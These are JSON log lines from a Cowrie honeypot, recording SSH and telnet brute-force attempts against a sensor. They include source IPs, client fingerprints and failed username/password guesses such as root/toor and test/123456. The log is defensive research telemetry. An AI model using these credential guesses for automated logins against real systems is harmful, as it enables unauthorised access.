{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:07:12.769011Z","src_ip":"27.71.230.31","session":"856177c78c54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:07:13.159067Z","src_ip":"141.11.88.14","session":"81d7c0f79d8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password$1233456","message":"login attempt [root/Password$1233456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:07:15.626433Z","src_ip":"27.71.230.31","session":"856177c78c54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.83176612854004,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:07:16.532864Z","src_ip":"128.199.8.54","session":"eace8d32a7e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:07:16.950735Z","src_ip":"27.71.230.31","session":"856177c78c54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":42374,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a70957e6bf5","protocol":"ssh","message":"New connection: 141.11.88.14:42374 (10.17.0.5:22) [session: 6a70957e6bf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:07:19.183976Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:07:19.310882Z","src_ip":"141.11.88.14","session":"6a70957e6bf5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:07:19.316937Z","src_ip":"141.11.88.14","session":"6a70957e6bf5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"root","message":"login attempt [user/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:07:20.483364Z","src_ip":"141.11.88.14","session":"6a70957e6bf5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:07:21.845801Z","src_ip":"141.11.88.14","session":"6a70957e6bf5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":39476,"dst_ip":"10.17.0.5","dst_port":22,"session":"d25c54108329","protocol":"ssh","message":"New connection: 38.93.206.2:39476 (10.17.0.5:22) [session: d25c54108329]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:07:24.056733Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:07:24.060859Z","src_ip":"38.93.206.2","session":"d25c54108329","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:07:24.110633Z","src_ip":"38.93.206.2","session":"d25c54108329","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:07:24.262748Z","src_ip":"38.93.206.2","session":"d25c54108329","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:07:25.315458Z","src_ip":"38.93.206.2","session":"d25c54108329","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":42440,"dst_ip":"10.17.0.5","dst_port":22,"session":"62e48252bd7f","protocol":"ssh","message":"New connection: 141.11.88.14:42440 (10.17.0.5:22) [session: 62e48252bd7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:07:26.118641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:07:26.142174Z","src_ip":"141.11.88.14","session":"62e48252bd7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:07:26.214209Z","src_ip":"141.11.88.14","session":"62e48252bd7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"toor","message":"login attempt [root/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:07:26.546071Z","src_ip":"141.11.88.14","session":"62e48252bd7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"197.5.145.150","src_port":37924,"dst_ip":"10.17.0.5","dst_port":22,"session":"dbc7586a2a4f","protocol":"ssh","message":"New connection: 197.5.145.150:37924 (10.17.0.5:22) [session: dbc7586a2a4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:07:27.503793Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:07:27.510384Z","src_ip":"197.5.145.150","session":"dbc7586a2a4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:07:27.621531Z","src_ip":"197.5.145.150","session":"dbc7586a2a4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:07:27.818104Z","src_ip":"141.11.88.14","session":"62e48252bd7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123456","message":"login attempt [test/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:07:28.092186Z","src_ip":"197.5.145.150","session":"dbc7586a2a4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:07:29.209623Z","src_ip":"197.5.145.150","session":"dbc7586a2a4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":43576,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea45dc4c804d","protocol":"ssh","message":"New connection: 141.11.88.14:43576 (10.17.0.5:22) [session: ea45dc4c804d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:07:33.215433Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:07:33.328009Z","src_ip":"141.11.88.14","session":"ea45dc4c804d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:07:33.331614Z","src_ip":"141.11.88.14","session":"ea45dc4c804d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":58012,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8b844cbcae3","protocol":"telnet","message":"New connection: 128.199.8.54:58012 (159.203.135.109:23) [session: b8b844cbcae3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:07:33.968231Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password01!","message":"login attempt [root/Password01!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:07:34.100516Z","src_ip":"141.11.88.14","session":"ea45dc4c804d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:07:35.219856Z","src_ip":"141.11.88.14","session":"ea45dc4c804d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":56474,"dst_ip":"10.17.0.5","dst_port":22,"session":"5823f6cc1459","protocol":"ssh","message":"New connection: 141.11.88.14:56474 (10.17.0.5:22) [session: 5823f6cc1459]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:07:40.840817Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:07:40.894037Z","src_ip":"141.11.88.14","session":"5823f6cc1459","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:07:40.985492Z","src_ip":"141.11.88.14","session":"5823f6cc1459","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.8724570274353,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:07:41.318738Z","src_ip":"172.81.62.90","session":"ff8d93eb2e60","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"solana","password":"1234","message":"login attempt [solana/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:07:41.567006Z","src_ip":"141.11.88.14","session":"5823f6cc1459","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:07:42.813362Z","src_ip":"141.11.88.14","session":"5823f6cc1459","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.92.41.115","src_port":64754,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae57a9e8e62a","protocol":"ssh","message":"New connection: 36.92.41.115:64754 (10.17.0.5:22) [session: ae57a9e8e62a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:07:44.696758Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:07:44.702321Z","src_ip":"36.92.41.115","session":"ae57a9e8e62a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:07:44.960553Z","src_ip":"36.92.41.115","session":"ae57a9e8e62a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dummy","password":"1","message":"login attempt [dummy/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:07:46.022344Z","src_ip":"36.92.41.115","session":"ae57a9e8e62a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:07:47.286284Z","src_ip":"36.92.41.115","session":"ae57a9e8e62a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":44674,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e56ad165385","protocol":"ssh","message":"New connection: 141.11.88.14:44674 (10.17.0.5:22) [session: 2e56ad165385]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:07:48.563898Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:07:48.733084Z","src_ip":"141.11.88.14","session":"2e56ad165385","protocol":"ssh"}
